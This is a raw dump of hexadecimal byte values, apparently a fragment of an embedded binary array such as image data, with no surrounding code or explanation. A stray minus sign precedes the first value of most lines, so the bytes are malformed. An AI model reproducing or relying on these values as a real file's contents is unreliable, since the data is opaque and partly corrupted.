0x2A, 0x20, 0x76, 0x2B, 0xBA, 0x5E, 0xFF, 0x00, 0x7A, -0xB8, 0x90, 0x0E, 0x65, 0xD8, 0xE7, 0x5C, 0xFA, 0xE1, 0x6B, 0x6A, 0xFA, 0x77, 0xD4, 0x6D, 0x6B, -0xEE, 0x8D, 0x56, 0x73, 0x9E, 0xB3, 0xC7, 0x0A, 0x03, 0x9A, 0xF0, 0x20, 0x46, 0xA3, 0x33, 0xA5, -0xF3, 0x9B, 0x50, 0xA8, 0x89, 0x6A, 0xD5, 0x1E, 0x4A, 0x26, 0x06, 0xCB, 0x52, 0xB0, 0x83, 0x38, -0x3E, 0xB8, 0x89, 0x33, 0x69, 0x4B, 0xB0, 0xA1, 0x71, 0x06, 0x01, 0x4A, 0xB0, 0x06, 0xA1, 0x6C, -0xBE, 0x96, 0x77, 0x7F, 0xA6, 0x0C, 0x77, 0x6A, 0x1A, 0x9B, 0x33, 0x1A, 0xAD, 0xF9, 0xFA, 0x45, -0x0F, 0x7D, 0xAF, 0xAE, 0xB8, 0x93, 0x46, 0x65, 0x30, 0x29, 0xEC, 0x6F, 0x08, 0xCB, 0x7D, 0x6E, -0x25, 0x5B, 0x7A, 0xE7, 0x84, 0xA8, 0x9C, 0x0A, 0x4A, 0xE0, 0xD8, 0xE4, 0xCD, 0x2A, 0x87, 0x48, -0x30, 0x79, 0xCD, 0x6E, 0x48, 0x4E, 0xC2, 0xB6, 0xC7, 0x30, 0xAE, 0x6C, 0x41, 0xEB, 0xD9, 0x6F, -0xF7, 0xAC, 0x76, 0x60, 0xDC, 0x2C, 0x77, 0x39, 0xB6, 0xB9, 0x63, 0xA4, 0xEF, 0x43, 0x7C, 0xDA, -0x57, 0x05, 0x17, 0x7D, 0xB7, 0x81, 0x17, 0xB7, 0x21, 0xA5, 0x5F, 0xCC, 0xCB, 0xE2, 0xE3, 0x45, -0xFA, 0x81, 0x76, 0xA8, 0x5E, 0x25, 0xFB, 0x1B, 0xB0, 0x65, 0x10, 0x4E, 0xDB, 0x90, 0xDA, 0x20, -0x5E, 0x21, 0x16, 0xD7, 0xB1, 0x3A, 0x38, 0x3C, 0x8D, 0x92, 0xA6, 0xBB, 0xB1, 0xDC, 0x54, 0xEE, -0xC6, 0x79, 0x13, 0xF2, 0xBF, 0x1C, 0xDA, 0x78, 0x3E, 0xA2, 0xE0, 0xAA, 0x6C, 0xA3, 0x7A, 0xFD, -0xFC, 0x3F, 0xEE, 0x70, 0x39, 0x40, 0xAE, 0x3E, 0xB9, 0x6F, 0xE9, 0x6D, 0x21, 0x3F, 0x6A, 0x30, -0xE5, 0xCD, 0x30, 0x99, 0x34, 0xA6, 0x42, 0x89, 0x2A, 0x61, 0xE4, 0x5E, 0x51, 0x20, 0x89, 0xDA, -0xB1, 0xFC, 0xE6, 0x5A, 0xCC, 0x98, 0x60, 0x28, 0x04, 0x16, 0xD9, 0x29, 0x45, 0x2A, 0x03, 0x81, -0xA6, 0x7B, 0x5C, 0xE4, 0x68, 0xD1, 0xE0, 0x42, 0xE5, 0x17, 0x8F, 0x7A, 0x87, 0x6A, 0xE1, 0x11, -0x2C, 0x9D, 0x4A, 0xC7, 0xE1, 0xDF, 0xAD, 0xCF, 0x20, 0xB6, 0xF4, 0xE8, 0xB1, 0x63, 0x19, 0x92, -0x7D, 0x3B, 0x93, 0x2D, 0x12, 0x05, 0x21, 0xBE, 0x68, 0xAA, 0xA4, 0xAE, 0xC4, 0x76, 0x1A, 0xB4, -0x89, 0xB6, 0xA3, 0x19, 0xA8, 0xA1, 0x4B, 0x99, 0x3F, 0xA6, 0x17, 0xAD, 0xB3, 0x16, 0xFF, 0x00, -0xD2, 0x8C, 0x9E, 0x76, 0x39, 0x74, 0x65, 0x49, 0xC6, 0x2D, 0xD3, 0x26, 0xC9, 0x00, 0x15, 0xFA, -0xAB, 0x70, 0x6F, 0x51, 0x7F, 0x9E, 0x8E, 0x0A, 0x82, 0x82, 0x8C, 0xCD, 0x6A, 0x62, 0x3A, 0x45, -0xA7, 0x65, 0x03, 0x7B, 0xA9, 0x1B, 0xEB, 0x8F, 0x1D, 0xA6, 0x36, 0x26, 0x7C, 0x8D, 0xF6, 0x02, -0xDD, 0x55, 0x2D, 0x8C, 0xB4, 0x32, 0xF8, 0xA1, 0xF3, 0x16, 0xC7, 0xB6, 0x45, 0x76, 0xD3, 0xAB, -0xE9, 0x4E, 0x09, 0x48, 0x25, 0x3B, 0xFA, 0x68, 0x1E, 0x0F, 0x82, 0x38, 0xC7, 0xB2, 0xCE, 0x05, -0xA7, 0x89, 0xD8, 0xEC, 0x33, 0xCA, 0x02, 0xBF, 0x08, 0xB0, 0xB0, 0xA7, 0x91, 0x2D, 0x5A, 0x7B, -0x6E, 0xB5, 0xEA, 0x5F, 0xFB, 0xA7, 0x74, 0x98, 0x95, 0xD3, 0xB7, 0x6E, 0xCD, 0xCA, 0x79, 0xFD, -0xCD, 0x84, 0xEB, 0x0F, 0x85, 0x9D, 0xA8, 0xEA, 0xD9, 0x91, 0x1C, 0x72, 0xB8, 0x71, 0xB8, 0x35, -0x27, 0xBC, 0xA0, 0x3D, 0x91, 0x57, 0xE2, 0xAB, 0x6A, 0xE7, 0x05, 0x61, 0x00, 0x05, 0xDD, 0xAF, -0xD2, 0x7F, 0xF7, 0xCC, 0xC8, 0x49, 0x89, 0xD4, 0xF6, 0xAC, 0xAE, 0x44, 0x62, 0x3E, 0xA0, 0x4F, -0x66, 0x44, 0x77, 0x2F, 0x8F, 0x49, 0x17, 0x40, 0x44, 0x65, 0x0D, 0xB5, 0x16, 0xDA, 0xEC, 0x5F, -0x6E, 0x8E, 0x17, 0x7C, 0x91, 0x89, 0xA8, 0xEF, 0x6F, 0xB8, 0x92, 0x55, 0xC7, 0x0D, 0x89, 0x4E, -0xE6, 0xA7, 0xAD, 0xCF, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, -0x55, 0x21, 0xEF, 0x83, 0x4E, 0xB7, 0xF6, 0xD0, 0xB8, 0x17, 0xDB, 0x50, 0xA2, 0xAC, 0x1B, 0xAB, -0x57, 0x92, 0x47, 0xE3, 0xAA, 0x58, 0xAB, 0xB8, 0x4A, 0xD5, 0x4F, 0x00, 0xA9, 0xDE, 0x1A, 0xD9, -0x09, 0x6F, 0x92, 0x9C, 0xAE, 0xB2, 0x6E, 0x37, 0xEC, 0x5D, 0x4C, 0x77, 0x70, 0x4A, 0xE1, 0x26, -0x3A, 0x70, 0xDC, 0xCC, 0xF2, 0x72, 0x64, 0x2E, 0x99, 0x68, 0x77, 0x5E, 0xDC, 0x81, 0x9D, 0xBC, -0x9E, 0x58, 0x5D, 0x00, 0xCD, 0x3A, 0x79, 0x6A, 0xB3, 0x37, 0x67, 0x9C, 0xB6, 0xEB, 0x1E, 0x56, -0x72, 0x64, 0x8B, 0xF7, 0x29, 0xC0, 0x0C, 0xAD, 0xDD, 0x97, 0x5F, 0x57, 0x22, 0x88, 0x5D, 0x1D, -0x45, 0x6D, 0x94, 0x65, 0xB3, 0x6E, 0x2A, 0x40, 0x75, 0xF6, 0x04, 0xDC, 0x6B, 0xBC, 0xCB, 0x66, -0x6F, 0x38, 0xB5, 0x0E, 0xFA, 0x94, 0xC0, 0xBA, 0x9D, 0x79, 0xBE, 0xBB, 0x7C, 0xB7, 0x25, 0xD3, -0x21, 0xC3, 0x5B, 0x8B, 0x14, 0xE3, 0x5A, 0xAD, 0xCE, 0x1B, 0xE9, 0x64, 0x7D, 0x98, 0xE2, 0xD4, -0xC2, 0x72, 0xCE, 0xD2, 0xA3, 0xAF, 0xAB, 0xEE, 0x83, 0xB3, 0x0A, 0xE2, 0xD3, 0x0F, 0x90, 0x36, -0xF7, 0x61, 0xF7, 0x01, 0xA8, 0xED, 0xA5, 0x68, 0xAE, 0xA3, 0x77, 0x77, 0xAC, 0x9D, 0x6F, 0x39, -0x99, 0x8E, 0xEC, 0xA0, 0x96, 0x55, 0x37, 0xC2, 0x53, 0x02, 0x89, 0x46, 0xC9, 0x4A, 0xC0, 0xA6, -0xD8, 0x6F, 0x39, 0xCC, 0x22, 0xF0, 0x9C, 0x69, 0x24, 0x65, 0xA4, 0xA7, 0xBA, 0x68, 0x42, 0x38, -0x79, 0x49, 0xF1, 0xE2, 0xD1, 0xA5, 0xE9, 0x42, 0x98, 0x26, 0x9B, 0x23, 0x93, 0x84, 0x00, 0x10, -0xB9, 0xEF, 0x75, 0x8B, 0x05, 0xEA, 0x96, 0x4C, 0x8F, 0xBF, 0x63, 0xC8, 0x42, 0xEF, 0x8F, 0x9A, -0x29, 0x86, 0x33, 0x0D, 0x46, 0xD0, 0xE0, 0xB4, 0xA9, 0xB4, 0x42, 0x5E, 0xEA, 0xB1, 0x7B, 0x44, -0x14, 0xE7, 0xCE, 0x5C, 0xB6, 0x4F, 0x92, 0xA2, 0x45, 0x88, 0xAA, 0xBA, 0xAC, 0x6F, 0xA1, 0xBD, -0x44, 0xE8, 0xFE, 0x26, 0x51, 0xE3, 0x64, 0x38, 0xCB, 0x96, 0x4C, 0x94, 0x17, 0xB6, 0x79, 0x6C, -0xE4, 0x3B, 0xDB, 0x44, 0xF2, 0x2F, 0x12, 0x51, 0x1F, 0x6E, 0x92, 0x6C, 0x0A, 0xA4, 0xBD, 0xBE, -0x10, 0xA1, 0xBA, 0x1C, 0x11, 0x4A, 0x5C, 0xC4, 0x44, 0xDD, 0x5C, 0x92, 0x09, 0x60, 0xC1, 0x2D, -0x18, 0xBB, 0x64, 0xDA, 0xB6, 0x99, 0x46, 0x27, 0xB0, 0xF7, 0x92, 0xBC, 0xCD, 0x52, 0x78, 0x7B, -0xEB, 0x6C, 0x8D, 0x89, 0x78, 0x3D, 0x31, 0x91, 0x7C, 0x67, 0x46, 0x95, 0x2A, 0x91, 0x98, 0x32, -0xFD, 0xD8, 0x09, 0xC5, 0x60, 0xEC, 0x9A, 0x40, 0xFD, 0x4B, 0x38, 0x21, 0x18, 0x44, 0x10, 0xC5, -0x73, 0xED, 0xD3, 0xED, 0x52, 0x9D, 0x83, 0x73, 0x85, 0x2A, 0xDF, 0x31, 0x95, 0xD3, 0xB1, 0x66, -0xB0, 0xEC, 0x69, 0x0D, 0xAF, 0xDB, 0x93, 0x4F, 0x00, 0x1A, 0x22, 0xFD, 0x45, 0x78, 0xE8, 0x93, -0xCA, 0x2A, 0xA2, 0xA2, 0xD5, 0xEF, 0x6D, 0xBA, 0x5B, 0x6F, 0x30, 0xD9, 0xB8, 0xDA, 0x2E, 0x10, -0xEE, 0x70, 0x24, 0x27, 0x26, 0x66, 0x40, 0x92, 0xCC, 0xB8, 0xCE, 0xA7, 0xDF, 0x83, 0xCC, 0x11, -0xB6, 0x4A, 0x9B, 0xD1, 0x22, 0x2A, 0x28, 0xAF, 0x82, 0x44, 0x54, 0x44, 0xAD, 0x0F, 0xBA, 0x3A, -0xAC, 0xD3, 0xBA, 0x7A, 0xE7, 0x60, 0xEB, 0x93, 0xE5, 0xB7, 0x76, 0x52, 0x4D, 0x56, 0x02, 0x22, -0x91, 0xAC, 0x9F, 0xD0, 0x13, 0x81, 0xD7, 0xF6, 0x1A, 0x12, 0xD3, 0x99, 0xE6, 0xF8, 0x05, 0xBD, -0xE1, 0x0B, 0x89, 0x4B, 0x23, 0xCE, 0x62, 0xC6, 0x12, 0x49, 0xA3, 0xAA, 0xD2, 0x8D, 0x0C, 0x89, -0x9C, 0x6A, 0x5A, 0x56, 0xE4, 0x29, 0x94, 0x98, 0x20, 0xF4, 0xEB, 0xBF, 0x54, 0xBE, 0x68, 0xD0, -0x1E, 0xFF, 0x00, 0xFF, 0x00, 0x0F, 0x6A, 0x99, 0x0B, 0xF7, 0x5F, 0x13, 0x08, 0xF7, 0x60, 0xBA, -0x56, 0x6B, 0xF2, 0xD9, 0x7C, 0xA2, 0x91, 0xFC, 0x94, 0x6B, 0xA4, 0xA8, 0x1E, 0x60, 0x96, 0x15, -0xEE, 0x6E, 0x34, 0xE1, 0x4E, 0x78, 0xB1, 0x5B, 0x1F, 0x4E, 0x4A, 0x49, 0x44, 0xFD, 0xA5, 0x03, -0x3F, 0x92, 0x65, 0xD5, 0x49, 0x5F, 0x6F, 0x28, 0x8A, 0x81, 0x21, 0x3F, 0x08, 0x0A, 0x54, 0xB5, -0xE9, 0xB7, 0xE2, 0x14, 0xBD, 0x37, 0xEA, 0xB4, 0x54, 0xC1, 0xAC, 0xFD, 0x52, 0xEC, 0xCB, 0xF6, -0xD5, 0xB4, 0xBB, 0x19, 0x18, 0x97, 0x34, 0x4B, 0x9F, 0x58, 0x20, 0xDA, 0x8B, 0x5E, 0xB9, 0xA6, -0xF2, 0xA5, 0x72, 0x7C, 0x9B, 0x6C, 0xCC, 0x9D, 0x2B, 0x5B, 0x93, 0x70, 0x1A, 0x96, 0x27, 0x54, -0x69, 0xF5, 0xBA, 0x7A, 0xC0, 0xFB, 0x11, 0xC0, 0x68, 0x95, 0x33, 0x34, 0x24, 0x5A, 0x79, 0x23, -0x73, 0x0A, 0x95, 0xD8, 0xAD, 0xFD, 0x59, 0xDC, 0x9B, 0x70, 0xBD, 0x14, 0xD7, 0xB7, 0x5D, 0x94, -0x55, 0xB1, 0x8D, 0xC1, 0x56, 0x99, 0xD9, 0xB7, 0x48, 0x75, 0xF4, 0x52, 0x7A, 0x63, 0x44, 0xA2, -0x0A, 0x93, 0x9C, 0x05, 0x49, 0x12, 0x4A, 0x59, 0x08, 0x72, 0x2A, 0xD3, 0xD9, 0x75, 0xAD, 0x2B, -0x49, 0x2D, 0x52, 0x17, 0xCB, 0x8E, 0x44, 0x9D, 0x94, 0x78, 0x35, 0x52, 0x13, 0x60, 0x39, 0x40, -0x30, 0x14, 0x15, 0x2A, 0x63, 0x20, 0xB0, 0x28, 0x35, 0x5F, 0x12, 0x63, 0x80, 0xD6, 0x90, 0xC8, -0xA5, 0x7B, 0x06, 0x8C, 0x21, 0x29, 0xB2, 0x37, 0x0C, 0x84, 0x47, 0x9A, 0x22, 0x91, 0x58, 0xFB, -0x69, 0x3E, 0xBE, 0x24, 0x0C, 0xB1, 0xE6, 0x24, 0x68, 0x1A, 0x5A, 0xD1, 0x97, 0xEB, 0x9C, 0x81, -0x32, 0x14, 0x84, 0x12, 0x1C, 0x8B, 0x39, 0xC0, 0x31, 0x9C, 0x8B, 0x22, 0x52, 0xB1, 0xB6, 0x7D, -0xAB, 0x59, 0x52, 0x70, 0x77, 0xFB, 0x36, 0xE1, 0xB0, 0x61, 0x95, 0x6D, 0x77, 0x16, 0x48, 0x25, -0xF2, 0x49, 0xC5, 0x81, 0x25, 0x67, 0x88, 0xC5, 0x19, 0x12, 0x07, 0x3E, 0x98, 0x39, 0xCD, 0xF9, -0xF9, 0x5A, 0x16, 0xD4, 0x98, 0x30, 0x79, 0xC1, 0x44, 0x84, 0xD5, 0x01, 0x19, 0xE7, 0x08, 0x04, -0x12, 0x11, 0x9C, 0x30, 0x00, 0x4A, 0x55, 0x5B, 0x37, 0x66, 0xD8, 0xD9, 0x1F, 0xC4, 0x2B, 0x17, -0x55, 0xA4, 0xDD, 0x79, 0xC4, 0xDF, 0xEB, 0x4E, 0xBA, 0x64, 0x52, 0xA6, 0x2C, 0xEC, 0xEF, 0x62, -0xD6, 0xF4, 0x3D, 0xE6, 0x31, 0x13, 0xB5, 0xD8, 0xA1, 0x92, 0x96, 0xC9, 0x02, 0x78, 0x16, 0xAA, -0x43, 0x5F, 0x0B, 0x6A, 0x94, 0xD9, 0x88, 0x0B, 0x90, 0x31, 0x26, 0x5C, 0xED, 0x28, 0x02, 0x46, -0x46, 0x97, 0x67, 0x66, 0x54, 0xB1, 0xD7, 0x17, 0xA8, 0xB4, 0x61, 0x49, 0xCE, 0x92, 0xE5, 0x2A, -0xC5, 0x1A, 0x53, 0xA7, 0x14, 0xA6, 0x83, 0x6B, 0x3D, 0x61, 0xAA, 0xD4, 0x03, 0x32, 0xA6, 0xAA, -0xE6, 0xB0, 0x68, 0x35, 0x1A, 0x75, 0xAE, 0xA6, 0xA6, 0x57, 0x25, 0x95, 0xBF, 0x39, 0x2B, 0x39, -0xD2, 0x4D, 0x35, 0x97, 0xB9, 0x24, 0x48, 0x80, 0x87, 0x39, 0x44, 0xA5, 0xED, 0x52, 0xC7, 0x57, -0x55, 0x24, 0xA4, 0x4A, 0x88, 0x81, 0x1C, 0x53, 0x6B, 0x4A, 0x26, 0xE6, 0x64, 0x0D, 0xCD, 0xA9, -0x14, 0xAD, 0x87, 0x78, 0x6C, 0x45, 0x1F, 0xAD, 0x91, 0x03, 0xA7, 0x77, 0xAD, 0x9F, 0x11, 0xAC, -0xA3, 0x05, 0xE0, 0xDC, 0x27, 0x59, 0x26, 0x73, 0x2C, 0x85, 0x8E, 0xC7, 0x90, 0x0C, 0x18, 0x62, -0x18, 0xF3, 0x21, 0x18, 0x50, 0xF9, 0x26, 0x74, 0xC1, 0x79, 0xC1, 0x98, 0x6A, 0x8F, 0xB7, 0x39, -0x39, 0x08, 0x1E, 0xA3, 0x02, 0x51, 0x07, 0x02, 0x10, 0x7D, 0xBB, 0x16, 0x37, 0x7D, 0xC9, 0xE6, -0x0C, 0x0B, 0x05, 0xAA, 0x65, 0xD2, 0x52, 0xEB, 0x90, 0x45, 0x69, 0x48, 0x1A, 0x12, 0x5D, 0x23, -0x92, 0x5F, 0x25, 0x08, 0xF1, 0x5A, 0xDF, 0x8E, 0xEC, 0x87, 0x5A, 0x69, 0x17, 0xC2, 0xB8, 0x9B, -0xAF, 0x03, 0x22, 0xCA, 0xB1, 0xCC, 0x4A, 0x09, 0x5C, 0xB2, 0x4B, 0xCC, 0x1B, 0x3C, 0x34, 0xE5, -0xC5, 0xC9, 0x8F, 0x20, 0xB8, 0xF9, 0x0A, 0x22, 0xAB, 0x71, 0x63, 0x8F, 0x29, 0x33, 0x1E, 0x44, -0x5D, 0xF6, 0x22, 0xB2, 0xFB, 0xAA, 0x9E, 0x51, 0xB5, 0xD2, 0xD5, 0x76, 0xAF, 0x2E, 0xF9, 0x2D, -0x8B, 0xCE, 0x60, 0x65, 0x1F, 0xD6, 0x56, 0xBF, 0x4A, 0xE7, 0xD3, 0x07, 0x4C, 0x9C, 0x91, 0x1D, -0x8B, 0x29, 0x8A, 0xAB, 0x7F, 0x78, 0xC9, 0x38, 0x1E, 0x08, 0x35, 0xEA, 0x33, 0x5A, 0x36, 0x88, -0xF4, 0xAD, 0x6D, 0xA9, 0x72, 0x30, 0x2B, 0x0C, 0x9E, 0xC2, 0x72, 0xC3, 0x6A, 0x34, 0xE2, 0xF7, -0x3E, 0xC4, 0xD1, 0x00, 0x23, 0x18, 0x69, 0x1B, 0x0F, 0xA7, 0xFB, 0x45, 0x82, 0x12, 0x5F, 0xBA, -0xA3, 0x91, 0x44, 0xB7, 0x42, 0x6B, 0x89, 0x9D, 0xB6, 0x24, 0xA0, 0x8E, 0xCA, 0x16, 0xB9, 0x0B, -0x12, 0xAE, 0xAE, 0xE8, 0x9E, 0x74, 0xF4, 0xA1, 0xED, 0x2D, 0xCC, 0x23, 0xA6, 0x5E, 0x23, 0xCC, -0x73, 0x68, 0x95, 0x2A, 0xE4, 0x7E, 0xA5, 0x6F, 0x79, 0x24, 0xF2, 0xC7, 0x3A, 0x3F, 0x8B, 0xCD, -0xBA, 0x4F, 0x7B, 0x90, 0x37, 0x76, 0x99, 0x08, 0xE4, 0xBF, 0xC7, 0x7C, 0x4A, 0x44, 0x4B, 0x43, -0x3C, 0x81, 0x86, 0x41, 0x55, 0x0D, 0x26, 0x5D, 0x5E, 0xEC, 0x80, 0xAE, 0xE4, 0xC2, 0x65, 0x10, -0xB9, 0x70, 0xA6, 0x81, 0xCE, 0xB7, 0x0D, 0x2F, 0x76, 0x55, 0x34, 0x2F, 0x6C, 0xEC, 0x59, 0xC3, -0xF5, 0xB8, 0xDE, 0xAA, 0xD0, 0x8D, 0x58, 0x0D, 0x0F, 0xB3, 0x14, 0xF2, 0x26, 0xD4, 0x09, 0xD7, -0x50, 0x93, 0x69, 0x69, 0x31, 0xB4, 0x69, 0xD8, 0x97, 0x2A, 0x87, 0xA2, 0x69, 0x48, 0xA7, 0xEA, -0x1C, 0x0A, 0x6A, 0x8C, 0x96, 0x4B, 0x22, 0x27, 0x24, 0x85, 0x18, 0x90, 0xA0, 0x98, 0x9C, 0x23, -0x0E, 0x7D, 0xD4, 0x38, 0x18, 0x61, 0x74, 0x32, 0xEF, 0x3B, 0x10, 0xB6, 0xC1, 0x8F, 0x67, 0x70, -0x6D, 0x52, 0xAD, 0xCF, 0x31, 0x08, 0xA3, 0x38, 0xE1, 0x37, 0x90, 0xC0, 0x86, 0x52, 0x4C, 0xA4, -0x36, 0x33, 0x4D, 0xE3, 0x0E, 0xF3, 0x4A, 0xF4, 0xA2, 0x27, 0xCD, 0xA3, 0x54, 0x35, 0x54, 0x25, -0x4A, 0xD6, 0xFD, 0x31, 0xB9, 0x67, 0xA1, 0xEA, 0x1A, 0xC9, 0x6F, 0xCE, 0x2E, 0xB7, 0x19, 0x37, -0xD6, 0x8E, 0xF3, 0x12, 0xE8, 0xC4, 0x99, 0xE1, 0x2D, 0x96, 0x81, 0xCC, 0x66, 0xE3, 0x38, 0x62, -0x36, 0x11, 0x9D, 0x38, 0x0D, 0xB0, 0xD9, 0xF6, 0x1D, 0x16, 0x21, 0xEA, 0x33, 0x4F, 0x02, 0x2B, -0x62, 0xAA, 0x35, 0x77, 0x6E, 0x42, 0xB5, 0xFA, 0x23, 0x4E, 0x29, 0x4E, 0x29, 0x4E, 0x29, 0x4E, -0x29, 0x4E, 0x29, 0x5C, 0xA3, 0x26, 0xDD, 0xDD, 0x63, 0x87, 0xEC, 0xBC, 0x5F, 0x50, 0xA4, 0x56, -0x6A, 0x46, 0xEB, 0xF6, 0x62, 0xD8, 0x95, 0xC9, 0x8E, 0x1A, 0x26, 0x69, 0x09, 0xE9, 0xCD, 0xCB, -0x8A, 0x75, 0x0B, 0x5A, 0x5B, 0x16, 0x49, 0x13, 0xB4, 0x9B, 0x1B, 0x6D, 0x7A, 0x78, 0x42, 0x91, -0x52, 0xE6, 0xD6, 0x95, 0xEE, 0xA9, 0xD6, 0x28, 0x4C, 0x04, 0xF9, 0xC9, 0x60, 0x31, 0xCD, 0xA0, -0xA7, 0x0C, 0xBA, 0x2E, 0x0B, 0x94, 0xCD, 0xC5, 0xE5, 0xE6, 0x51, 0xAD, 0x66, 0xE6, 0x3D, 0x09, -0xD3, 0x69, 0xF9, 0xBD, 0xF8, 0xC2, 0x49, 0xDB, 0x21, 0x6D, 0xD7, 0x42, 0x31, 0x3A, 0x32, 0x5C, -0x61, 0x97, 0x0C, 0x1B, 0x75, 0xE6, 0xDA, 0x30, 0x12, 0x52, 0x4D, 0xE9, 0xA7, 0x94, 0x30, 0x99, -0x9D, 0x44, 0xC3, 0xE0, 0x65, 0xD0, 0xB0, 0x59, 0x57, 0x86, 0xDA, 0xC9, 0xE7, 0xB2, 0x0E, 0xC6, -0xB7, 0xAC, 0x79, 0x44, 0x25, 0xDD, 0x02, 0x71, 0x86, 0x5C, 0x96, 0x31, 0xCA, 0x23, 0x52, 0x1F, -0x6C, 0x0D, 0xC6, 0x58, 0x72, 0x40, 0x38, 0x60, 0x23, 0xB4, 0x45, 0x79, 0x81, 0x77, 0x56, 0x6D, -0xA7, 0x58, 0xBA, 0x71, 0xB9, 0x64, 0xAE, 0x5F, 0x6A, 0xD5, 0xA8, 0x5A, 0x27, 0xCA, 0xCB, 0x1E, -0x0A, 0xB6, 0x6B, 0xCC, 0xA7, 0x87, 0x58, 0xC5, 0x1F, 0x90, 0xFB, 0x00, 0xA5, 0xC1, 0xDD, 0x22, -0x43, 0xDB, 0xA5, 0x59, 0x24, 0x3E, 0xA1, 0x21, 0x3C, 0xD5, 0x9E, 0x4A, 0x90, 0x80, 0xE7, 0x3F, -0x18, 0x82, 0x47, 0xE8, 0x3E, 0x7A, 0xD8, 0x7F, 0x54, 0xF3, 0x4C, 0x24, 0x9B, 0x6E, 0xD1, 0x75, -0x71, 0xEB, 0x78, 0x2A, 0x6E, 0xD1, 0x72, 0xE5, 0x36, 0xD8, 0xA2, 0x8B, 0xB5, 0x16, 0xD9, 0x32, -0x47, 0x22, 0x6D, 0x7F, 0x31, 0x41, 0x7E, 0x29, 0x97, 0xEA, 0x52, 0x4D, 0xA5, 0x78, 0xD9, 0xC7, -0x47, 0xB0, 0x2C, 0xFD, 0x1C, 0x76, 0xF7, 0x66, 0x6D, 0x8B, 0x99, 0xA2, 0xEA, 0xF9, 0x6A, 0xE1, -0x02, 0xEC, 0x85, 0xAD, 0x21, 0x3A, 0xFB, 0x60, 0x4D, 0x4D, 0xE2, 0x9E, 0x04, 0x6E, 0x0C, 0x4C, -0x00, 0xFD, 0x02, 0x2B, 0xE6, 0xAB, 0xEF, 0x39, 0xEA, 0x4F, 0xB2, 0x6E, 0xBC, 0xE5, 0x0E, 0x76, -0xBF, 0x5F, 0x17, 0x7B, 0xFD, 0x93, 0x18, 0x28, 0xDF, 0x9C, 0xBA, 0x35, 0x19, 0x52, 0x9E, 0x3B, -0x39, 0x58, 0x8D, 0x36, 0x72, 0x61, 0x69, 0x25, 0x75, 0x63, 0xF9, 0xEB, 0xE0, 0x16, 0x7A, 0x74, -0x65, 0x7B, 0x4A, 0x24, 0x29, 0x0C, 0x74, 0x76, 0x5C, 0x7E, 0x04, 0x72, 0x18, 0x7A, 0x11, 0xE4, -0x01, 0x0D, 0x13, 0x03, 0xAC, 0x1D, 0x31, 0xEA, 0x3C, 0x46, 0xAD, 0x1D, 0x46, 0xB1, 0x47, 0xB6, -0x4A, 0x54, 0xE0, 0xDC, 0xA9, 0x22, 0x72, 0x60, 0x03, 0x87, 0xE1, 0x4E, 0x25, 0xD6, 0x30, 0x35, -0x71, 0xB5, 0x11, 0xAF, 0xC8, 0xB9, 0xA3, 0x6C, 0xB6, 0x3E, 0x1C, 0x96, 0xEA, 0x25, 0x4B, 0xD7, -0x1E, 0x87, 0x75, 0x6F, 0xA5, 0x93, 0x5E, 0xBD, 0xF4, 0xBB, 0x22, 0x93, 0x77, 0x86, 0x85, 0xDC, -0x72, 0x1C, 0x33, 0x18, 0xB7, 0x27, 0x1B, 0x0F, 0x92, 0x04, 0xEB, 0x2C, 0x93, 0x76, 0xD7, 0x79, -0x00, 0x4F, 0x88, 0xA0, 0x13, 0xCF, 0xB8, 0x7F, 0x26, 0xE0, 0x02, 0xA0, 0xA5, 0x6F, 0xBD, 0x68, -0xFC, 0x43, 0xAA, 0xA3, 0x6F, 0xB8, 0xAA, 0x3B, 0x02, 0xA5, 0x1F, 0xEB, 0x59, 0x7B, 0x32, 0x90, -0x34, 0x3E, 0x4F, 0xA1, 0x51, 0xD7, 0x84, 0x26, 0x36, 0x2D, 0x2F, 0xDA, 0x01, 0x8A, 0x77, 0x51, -0xBF, 0x88, 0x32, 0x76, 0x13, 0xCA, 0x06, 0x30, 0x7B, 0x8A, 0x88, 0xDA, 0xB7, 0x73, 0xCD, 0x3C, -0xDF, 0x6A, 0x18, 0x6A, 0x22, 0x30, 0x10, 0x07, 0x1F, 0xCA, 0x3D, 0x38, 0x0C, 0xA8, 0xEB, 0x77, -0xE9, 0xDD, 0xF2, 0x3D, 0xD2, 0x13, 0xC2, 0xAF, 0x31, 0x6F, 0x9D, 0x25, 0x97, 0x11, 0xD6, 0xD7, -0xE8, 0x90, 0x2F, 0x11, 0xCB, 0xDA, 0xC8, 0x15, 0x5F, 0x0D, 0x8C, 0x90, 0x64, 0x50, 0x53, 0xE7, -0x34, 0xC9, 0x39, 0x16, 0x4D, 0x88, 0x7A, 0xA7, 0x38, 0x92, 0x7F, 0x04, 0xEA, 0x86, 0x3D, 0x26, -0xD1, 0x3E, 0x39, 0xA3, 0x12, 0x6E, 0x76, 0xE8, 0xB2, 0x1B, 0x56, 0x5C, 0x4F, 0x0A, 0xB7, 0x2B, -0x14, 0x9F, 0xE7, 0x23, 0x12, 0x27, 0xC9, 0xD3, 0x88, 0xE3, 0xC4, 0x44, 0xBF, 0xC2, 0x80, 0xD0, -0x68, 0x46, 0xC6, 0x14, 0xBD, 0xFD, 0x4B, 0x6C, 0x54, 0x48, 0x99, 0xCD, 0x1F, 0x66, 0xC3, 0xEC, -0xE8, 0xB9, 0xBE, 0x20, 0x9A, 0xE3, 0x14, 0x78, 0x4C, 0xE0, 0x6B, 0x69, 0xE7, 0x03, 0xC8, 0x04, -0x2F, 0xAD, 0x9E, 0xA5, 0xBB, 0x47, 0x5D, 0x30, 0x5E, 0x32, 0x23, 0x1A, 0x5F, 0x50, 0xB7, 0x39, -0x93, 0x8F, 0xEB, 0x92, 0x03, 0xFA, 0x79, 0x35, 0xDE, 0xF1, 0xEB, 0xE6, 0x37, 0x30, 0xA0, 0x5F, -0xAD, 0x73, 0x6D, 0x52, 0x87, 0x7A, 0x6E, 0x5B, 0x24, 0xDA, 0x3A, 0x22, 0xBA, 0x57, 0x23, 0xBB, -0xA5, 0x66, 0x4B, 0x5B, 0xF0, 0x8F, 0x47, 0x71, 0xD6, 0x8B, 0xEC, 0x6B, 0x55, 0x6E, 0x3F, 0x93, -0xE3, 0xD9, 0x54, 0x11, 0xB9, 0x63, 0x97, 0x88, 0x17, 0x88, 0x65, 0xC7, 0x93, 0xB0, 0x9F, 0x07, -0x55, 0x92, 0x24, 0xDA, 0x37, 0x25, 0x9D, 0xF7, 0xE2, 0xBD, 0xAF, 0x2A, 0xC4, 0x96, 0xDA, 0x78, -0x7F, 0x50, 0x27, 0x94, 0xAD, 0xBD, 0xCF, 